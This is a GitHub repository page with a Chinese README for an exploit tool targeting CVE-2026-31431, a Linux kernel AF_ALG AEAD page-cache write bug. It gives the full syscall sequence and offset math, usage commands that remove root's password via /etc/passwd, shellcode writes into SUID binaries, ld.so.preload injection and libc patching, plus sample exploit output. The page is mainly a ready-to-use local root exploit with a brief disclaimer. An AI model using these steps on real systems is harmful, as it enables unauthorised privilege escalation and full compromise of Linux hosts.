Sndav/CVE-2026-31431-Advanced-Exploit

GitHub: Sndav/CVE-2026-31431-Advanced-Exploit

利用 Linux 内核 AF_ALG AEAD 子系统的散列表链接错误,实现对任意可读文件页缓存的越权写入,从而完成本地提权的漏洞利用工具。

Stars: 71 | Forks: 23

# CVE-2026-31431 — Copy Fail **Linux 内核页缓存越权写入漏洞 (AF_ALG AEAD 散列表链错误)** ## 概述 Linux 内核 `algif_aead` 接口存在一个漏洞,允许**无特权用户**向任意**可读文件**的页缓存(page cache)写入任意数据——完全绕过文件权限检查、强制访问控制(MAC)以及完整性校验。 磁盘上的文件内容不会改变,但此后所有读取该文件的进程(包括 SUID 程序、动态链接器、`execve()` 等)都会看到攻击者篡改后的版本,直到页缓存被回收。 ## 影响范围 | 项目 | 说明 | |---|---| | 子系统 | `crypto/algif_aead.c` | | 算法 | `authencesn(hmac(sha256),cbc(aes))` | | 内核配置 | `CONFIG_CRYPTO_USER_API_AEAD=y/m`(几乎所有主流发行版默认启用) | | 所需权限 | **无** — 只要对目标文件有读权限即可 | | 危害等级 | 本地提权 → **root** | | 受影响发行版 | Ubuntu、Debian、Fedora、RHEL、Arch、openSUSE 等 | ## 漏洞原理 ### 简要说明 通过 `AF_ALG` 执行 AEAD 解密时: 1. 用户态通过 `sendmsg()` + `MSG_MORE` 发送关联认证数据(AAD),其中包含攻击者控制的 4 字节 `seqno_lo`。 2. 通过 `splice()` 将目标文件的页缓存页面注入到内核加密子系统的发送散列表(TX SGL)中。 3. 内核构建**目标散列表**(dst SGL)时,将接收缓冲区与页缓存页面通过 `sg_chain` 链接在一起。 4. `authencesn` 算法将 `seqno_lo` 写入目标散列表偏移 `assoclen + cryptlen` 处——该位置**越过接收缓冲区,直接落入链接的页缓存页面**。 5. 此写入发生在 HMAC 校验**之前**。HMAC 失败后内核返回 `EBADMSG` 错误,但页缓存已被篡改。 ### 数据流图 sendmsg (AAD) splice (文件页面) │ │ ▼ ▼ ┌──────────┐ sg_chain ┌──────────────────────┐ │ RX 缓冲区 │─────────────▶│ 页缓存页面 │ │ 8 字节 │ │ (文件内容) │ └──────────┘ └──────────────────────┘ ▲ │ authencesn 在此写入 seqno_lo 偏移 = assoclen + cryptlen ════ 这就是漏洞所在 ════ ### 关键点 - `seqno_lo` 的 4 字节完全由攻击者在 AAD 中控制(**写什么**) - `splice` 的长度决定了写入在页缓存中的偏移(**写哪里**) - 两者结合 = 对任意可读文件页缓存的**任意 4 字节写入原语** ## 使用方法 ### 快速提权 # 篡改 /etc/passwd 页缓存,移除 root 密码,自动执行 su root ./exploit.py escalate 执行过程: 1. 将 `/etc/passwd` 原始内容备份到 `/tmp/.passwd.bak` 2. 在页缓存中将 `root:x:0:0:root:...` 修改为 `root::0:0:root :...` 3. 自动调用 `su root`(无需密码) 输出示例: [*] CVE-2026-31431 — Copy Fail [*] Mode: remove root password via /etc/passwd [*] Backup: /tmp/.passwd.bak [*] Before : root:x:0:0:root:/root:/bin/bash [*] After : root::0:0:root :/root:/bin/bash [*] Offset : 0 [0x000000] 726f6f74 root [0x000004] 3a3a303a ::0: [0x000008] 303a726f 0:ro [0x00000c] 6f742020 ot [0x000010] 3a2f726f :/ro [0x000014] 6f743a2f ot:/ [0x000018] 62696e2f bin/ [0x00001c] 62617368 bash [+] Success: root::0:0:root :/root:/bin/bash [*] Recovery: echo 3 > /proc/sys/vm/drop_caches [*] Running: su root (no password needed) ### 通用:任意页缓存写入 # 基本语法 ./exploit.py write <文件路径> <偏移量> <数据> # 从二进制文件读取 payload ./exploit.py write <文件路径> <偏移量> @payload.bin #### 使用示例 # 将 shellcode 写入 SUID 程序的入口点 ./exploit.py write /usr/bin/su 0x1040 @shellcode.bin # 注入预加载库路径 ./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n' # 篡改 libc 函数(例如让 getuid() 返回 0) ./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90' ## 约束条件 | 约束 | 说明 | |---|---| | **读权限** | 目标文件必须对当前用户可读(`O_RDONLY`) | | **对齐** | 每次写入 4 字节;不足 4 字节的尾部用 `0x90` 填充 | | **文件大小** | 文件大小必须 ≥ `偏移量 + 数据长度 + 4` 字节 | | **仅页缓存** | 磁盘上的文件内容**不会**被修改 | | **持久性** | 页缓存被回收或手动清除前一直有效 | | **内核配置** | 需要 `AF_ALG` + `authencesn` 可用(主流发行版默认具备) | ## 恢复方法 # 方法一:清除所有页缓存,恢复磁盘上的原始内容 echo 3 > /proc/sys/vm/drop_caches # 方法二:重启 reboot ## 内部技术细节 ### AF_ALG 套接字初始化 socket(AF_ALG, SOCK_SEQPACKET, 0) → bind("aead", "authencesn(hmac(sha256),cbc(aes))") → setsockopt(SOL_ALG, ALG_SET_KEY, authenc_密钥blob) → setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4) → accept() → 请求 fd ### 密钥结构(authenc key blob) ┌─────────────────────────────────────────────┐ │ rta_len (2B) │ rta_type (2B) │ enckeylen (4B) │ │ 0x0008 │ 0x0001 │ 0x00000010 │ ├─────────────────────────────────────────────┤ │ 认证密钥 (16 字节全零) │ ├─────────────────────────────────────────────┤ │ 加密密钥 (16 字节全零) │ └─────────────────────────────────────────────┘ 密钥值无关紧要——HMAC 必然失败,但越权写入在校验之前已完成。 ### 单次 4 字节写入流程 步骤 1: sendmsg(req_fd, AAD = [seqno_hi(4B) | seqno_lo(4B)], ← seqno_lo = 要写入的值 cmsg = [OP=DECRYPT, IV=全零, ASSOCLEN=8], flags = MSG_MORE) 步骤 2: pipe_r, pipe_w = pipe() 步骤 3: splice(target_fd → pipe_w, count = file_offset + 4, offset_src = 0) 步骤 4: splice(pipe_r → req_fd, count = file_offset + 4) 步骤 5: recv(req_fd, ASSOC_LEN + file_offset) → 触发 authencesn 解密 → seqno_lo 被写入 dst SGL 偏移 assoclen + cryptlen → 该偏移落在页缓存页面的 file_offset 处 → HMAC 失败, 返回 EBADMSG → 页缓存已被篡改 ✓ ### 偏移计算 dst SGL 布局: [0 .. 7] → RX 缓冲区 (AAD 接收区) [8 .. 8 + file_offset + 3] → 页缓存页面 (splice 注入) seqno_lo 写入位置: dst[assoclen + cryptlen] = dst[8 + file_offset] = 页缓存中 file_offset 处 ∴ 攻击者控制 file_offset → 控制写入位置 攻击者控制 seqno_lo → 控制写入内容 ## 文件结构 . ├── exploit.py # 自包含漏洞利用脚本(仅需 Python 3 + Linux) └── README.md # 本文件 ## 利用场景一览 | 攻击路径 | 目标文件 | 效果 | |---|---|---| | 移除 root 密码 | `/etc/passwd` | `su root` 无需密码 | | 注入预加载库 | `/etc/ld.so.preload` | 所有程序加载恶意 `.so` | | 篡改 SUID 程序 | `/usr/bin/su` 等 | 执行 shellcode 获取 root shell | | 篡改 libc | `/usr/lib/libc.so.6` | 劫持 `getuid()` 等函数返回 0 | | 篡改 PAM 模块 | `/usr/lib/security/pam_unix.so` | 绕过所有认证 | | 篡改 sudo | `/usr/bin/sudo` | 任意用户直接获得 root | ## 免责声明 本工具仅用于授权的安全研究和渗透测试。未经授权使用本工具攻击他人系统属于违法行为。使用者应自行承担所有法律责任。
标签:0day挖掘, 0day漏洞, AEAD, AF_ALG, crypto子系统, CSV导出, CVE-2026-31431, Fedora漏洞, Linux内核漏洞, RHEL漏洞, SUID提权, Ubunto提权, Web报告查看器, 任意文件写入, 内核安全, 内核攻击, 提权漏洞, 散列表链错误, 文件完整性破坏, 无特权利用, 本地提权, 漏洞分析, 绕过MAC, 绕过文件权限, 网络安全, 路径探测, 隐私保护, 页缓存越权写入